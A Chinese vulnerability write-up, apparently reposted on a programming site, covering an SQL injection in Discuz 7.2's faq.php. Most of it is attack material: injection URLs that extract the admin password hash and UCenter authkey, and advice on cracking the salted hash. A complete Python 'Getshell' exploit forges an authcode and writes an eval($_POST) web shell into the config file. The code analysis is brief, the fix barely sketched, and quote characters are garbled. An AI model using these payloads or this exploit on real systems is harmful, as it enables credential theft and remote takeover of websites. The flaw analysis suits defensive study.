好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

discuz /faq.php SQL Injection Vul

. 漏洞描述 2 . 漏洞触发条件 3 . 漏洞影响范围 4 . 漏洞代码分析 5 . 防御方法 6 . 攻防思考

 

1. 漏洞描述

 1  . 通过获取管理员密码 
  2 . 对管理员密码进行破解。通过在cmd5测试数据网站对管理密码进行查询,需要带salt,获取的salt要去掉最后一个数字 "  1  "  
例如下面获取: admin:c6c45f444cf6a41b309c9401ab9a55a7:066ff71
需要查询的是: c6c45f444cf6a41b309c9401ab9a55a7:066ff7
  3  . 通过uc_key获取shell
  4 . 进入后台,添加插件获取webshell 

Relevant Link:

http: //  sebug.net/vuldb/ssvid-87115 
http: //  sebug.net/vuldb/ssvid-87114 


2. 漏洞触发条件

 1  .获取数据库版本信息
http:  //  localhost/discuz7.2/faq.php?action=grouppermission&gids[99]=‘&gids[100][0]=) and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)%23 
 
 2  .获取管理员账户密码
http:  //  localhost/discuz7.2/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x27,password) from cdb_members limit 1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23 
 
 3  .获取key
http:  //  localhost/discuz7.2/faq.php?action=grouppermission&gids[99]=‘&gids[100][0]=) and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,1,62) from cdb_uc_applications limit 0,1),0x3a)x from information_schema.tables group by x)a)%23
  //  通过error based injection报错获得注入信息 

0x1: POC

 import sys,urllib,time,math,base64,hashlib,urllib2
#contant raw
def fg(kaishi, jieshu, wenben):
    start  =  wenben.find(kaishi);
      if  start >=  0  :
        start  +=  len(kaishi);
        jieshu  =  wenben.find(jieshu, start);
          if  jieshu >=  0  :
              return   wenben[start:jieshu].strip();
#microtime
def microtime(get_as_float  =  False) :
      if   get_as_float:
          return   time.time();
      else  :
          return   ‘  %.8f %d  ‘  %  math.modf(time.time());
#authget
def get_authcode(  string , key =  ‘‘  ):
    ckey_length  =  4  ;
    key  =  hashlib.md5(key).hexdigest();
    keya  = hashlib.md5(key[ 0 : 16  ]).hexdigest();
    keyb  = hashlib.md5(key[ 16 : 32  ]).hexdigest();
    keyc  = (hashlib.md5(microtime()).hexdigest())[- ckey_length:];
    #keyc  = (hashlib.md5( ‘  0.736000 1389448306  ‘ ).hexdigest())[- ckey_length:]
    cryptkey  = keya + hashlib.md5(keya+ keyc).hexdigest();
    key_length  =  len(cryptkey);
      string  =  ‘  0000000000  ‘  + (hashlib.md5( string +keyb)).hexdigest()[ 0 : 16 ]+ string  ;
    string_length  = len( string  );
    result  =  ‘‘  ;
    box  = range( 0 ,  256  );
    rndkey  =  dict();
      for  i  in  range( 0 , 256  ):
        rndkey[i]  = ord(cryptkey[i %  key_length]);
    j = 0  ;
      for  i  in  range( 0 , 256  ):
        j  = (j + box[i] + rndkey[i]) %  256  ;
        tmp  =  box[i];
        box[i]  =  box[j];
        box[j]  =  tmp;
    a = 0  ;
    j = 0  ;
      for  i  in  range( 0  ,string_length):
        a  = (a +  1 ) %  256  ;
        j  = (j + box[a]) %  256  ;
        tmp  =  box[a];
        box[a]  =  box[j];
        box[j]  =  tmp;
        result  += chr(ord( string [i]) ^ (box[(box[a] + box[j]) %  256  ]));
      return  keyc + base64.b64encode(result).replace( ‘  =  ‘ ,  ‘‘  );
#getshell  
def get_shell(url0,key,host):
    headers ={ ‘  Accept-Language  ‘ : ‘  zh-cn  ‘  ,
               ‘  Content-Type  ‘ : ‘  application/x-www-form-urlencoded  ‘  ,
               ‘  User-Agent  ‘ : ‘  Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)  ‘  ,
               ‘  Referer  ‘  :url0
             };
    tm  = time.time()+ 10 * 3600  ;
    tm = "  time=%d&action=updateapps  "  % tm;
    code  =  urllib.quote(get_authcode(tm,key));
    url0 =url0+ "  ?code=  " + code;
    data1 = ‘‘‘  <?xml version="1.0" encoding="ISO-8859-1"?> 
            <root>
            <item id= "  UC_API  " >http: //  xxx\‘);eval($_POST[qcmd]);  //  </item> 
            </root> ‘‘‘  ; 
     try  :
        req =urllib2.Request(url0,data=data1,headers= headers);
        ret = urllib2.urlopen(req);
    except:
          return   "  error to read  "  ;
    data2 = ‘‘‘  <?xml version="1.0" encoding="ISO-8859-1"?> 
            <root>
            <item id= "  UC_API  " >http: //  aaa</item> 
            </root> ‘‘‘  ; 
     try  :
        req =urllib2.Request(url0,data=data2,headers= headers);
        ret = urllib2.urlopen(req);
    except:
          return   "  error  "  ;
      return   "  OK:   " +host+ "  /config.inc.php | Password = qcmd  " ;  #去掉/config/ uc_config.php 为config.inc.php by niubl
  #define  over 
#url   from   users
right  =  len(sys.argv);
  if  right <  2  :
    #note
    print (  "  ============================================================  "  );
    print (  "  Discuz <= 7.2 Getshell  "  );
    print (  "  Wrote by Airbasic  "  );
    print (  "  Usage: py.exe   "  + sys.argv[ 0 ] +  "   http://localhost/dz  "  );
    print (  "  ============================================================  "  );
    raw_input(  ""  );
    sys.exit()
url  = sys.argv[ 1  ];
 
#go
url1  = url +  "  /faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,1,31) from cdb_uc_applications where appid =1))x from information_schema .tables group by x)a)%23  "  ;
url2  = url +  "  /faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,32,64) from cdb_uc_applications where appid =1))x from information_schema .tables group by x)a)%23  "  ;
#authkey1 ~ 31  
wy1  =  urllib.urlopen(url1);
nr1  =  wy1.read();
authkey1  = fg( "  ‘1:  " , "  ‘ for  "  ,nr1);
#authkey32 ~ 64  
wy2  =  urllib.urlopen(url2);
nr2  =  wy2.read();
authkey2  = fg( "  ‘1:  " , "  ‘ for  "  ,nr2);
#authkey
authkey  = authkey1+ authkey2;
#  get   username and password
#none
#over
#  get   webshell
url0  = url +  "  /api/uc.php  "  ;
host  =  url;
print (  "  Wrote by Airbasic , GetShell Ok !  "  );
print get_shell(url0,authkey,host);
raw_input(  "" );

Relevant Link:

http: //  blog.csdn.net/yiyefangzhou24/article/details/36913287 
http: //  qqhack8.blog.163测试数据/blog/static/11414798520146711246279/ 


3. 漏洞影响范围
4. 漏洞代码分析

/faq.php

 ..
elseif($action  ==  ‘  grouppermission  ‘  ) 
{
    ..
      //  首先定义一个数组groupids,然后遍历$gids(这也是个数组,就是$_GET[gids]) 
    $groupids =  array();
      foreach ($gids  as   $row) 
    {
          //  将数组中的所有值的第一位取出来放在groupids中 
        $groupids[] = $row[ 0  ];
          /*  
        这里的安全漏洞在于
        discuz在全局会对GET数组进行addslashes转义,也就是说会将单引号"‘"转义成"\‘"
        所以,如果我们的传入的参数是: gids[1]=‘的话,会被转义成$gids[1]=\‘,而这个赋值语句$groupids[] = $row[0]就相当于取了字符串的第一个字符,也就是"\",把转义符号取出来了
          */  
    }

      /*  
    在将数据放入sql语句前,通过implodeids函数对$groupids进行处理了一遍
    就是将刚才的$groupids数组用‘,‘分割开,组成一个类似于‘1‘,‘2‘,‘3‘,‘4‘的字符串返回。但是我们的数组刚取出来一个转义符,它会将这里一个正常的‘转义掉,比如这样:‘1‘,‘\‘,‘3‘,‘4‘
    这样就把原本的用于闭合的单引号给转义了,使得黑客的注入数据得以"逃逸",也就是产生的注入,我们把报错语句放在3这个位置,就能报错
      */  
    $query  = $db->query( "  SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (  " .implodeids($groupids). "  )  "  );
    $groups  =  array();
    .. 

Relevant Link:

http: //  simeon.blog.51cto测试数据/18680/1440000 


5. 防御方法

/faq.php

elseif($action ==  ‘  grouppermission  ‘  ) 
{
      /*   对$gids进行初始化   */  
    $gids  =  array(); 
      /*   */ 

Relevant Link:

http: //  HdhCmsTestcrazydb测试数据/archive/Discuz7.xSQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B8%8EEXP 
http: //  simeon.blog.51cto测试数据/18680/1440000 


6. 攻防思考

Copyright (c) 2015 LittleHann All rights reserved

 

discuz /faq.php SQL Injection Vul

标签:

查看更多关于discuz /faq.php SQL Injection Vul的详细内容...

  阅读:30次